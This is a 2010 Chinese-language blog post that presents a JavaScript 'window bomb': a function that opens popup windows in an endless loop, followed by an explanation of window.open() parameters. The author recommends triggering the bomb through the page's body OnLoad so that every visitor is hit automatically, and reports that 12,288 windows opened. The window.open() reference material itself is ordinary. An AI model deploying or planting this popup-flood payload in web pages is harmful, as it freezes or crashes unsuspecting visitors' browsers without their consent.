7.05.2010

[JavaScript] 視窗炸彈 (Windows Bomb)

最近在整理舊資料的時後,找到一個以前蒐集的東西─視窗炸彈!!它是用JavaScript所寫的,
function WindowsBomb() {

    var nCounter = 0;

    while (++nCounter != 0)
        window.open("http://www.google.com.tw/", "Windows Bomb" + nCounter, "height = 1, width = 1, resizable = no");

    return;
}
想當然爾,不會只介紹這個Function (函式)而已,而是要介紹window.open()的用法。以下一行是一個範例:

EX:
window.open("http://www.google.com.tw/", "Windows Bomb", "height = 600, width = 800, top = 100, left = 320, toolbar = no, menubar = no, scrollbars = no, resizable = no, location = no, status = no");
window.open()總共有個參數,每個參數用雙引號 (")括起來;參數與參數之間以逗號 (,)做為區隔;

1. 第一個參數:指的是要被開啟的視窗;可以是一個網址,也可以是Web Server上的某一個檔案。

2. 第二個參數:指的是要被彈跳出來的視窗的名稱。

3. 第三個參數:是屬於複合性的,裡面有種屬性可以設定:

height: 指彈跳出來的視窗的高度,這裡是設為600。
width: 指彈跳出來的視窗的寬度,這裡是設為800。
top: 指彈跳出來的視窗,距離螢幕頂端的距離,這裡是設為100。
left: 指彈跳出來的視窗,距離螢幕左邊開始算起的距離,這裡是設為320。
以上四種屬性值的單位均為像素 (pixel)

toolbar: 是否要顯示工具列
menubar: 是否要顯示功能表列
scrollbars: 是否要顯示捲軸
resizable: 是否被允許改變視窗的大小
location: 是否要顯示網址欄 (位址欄)
status: 是否要顯示狀態列
以上六種屬性值的設定,均為yesno;這個範例中我們全部都設為no。

不過,其中resizablelocationstatus這三種屬性值,並非適用於各種瀏灠器。

resizable (是否被允許改變視窗的大小)和location (是否要顯示網址欄)在Mozilla FireFox及Google Chrome就無效,使用者依然可以改變視窗的大小;彈跳出來的視窗也會顯示位址欄。

status (是否要顯示狀態列)在Mozilla FireFox是無效的,請見以下三張圖:







既然已有function了,那該如何運用??比較消極的做法,就是設計成一顆按鈕,讓使用者按下之後,產生視窗炸彈:
<input type="button" OnClick="WindowsBomb(); ">
比較積極的做法,就是當使用者一載入這個網頁,就直接產生視窗炸彈:
<body OnLoad="WindowsBomb(); ">
以下,是在Linux ubuntu上Mozilla FireFox 2.0.0.14上的執行結果:



看!!一口氣彈出了12288個視窗!!

參考資料:http://www.wretch.cc/blog/hosulu/4930630

沒有留言:

張貼留言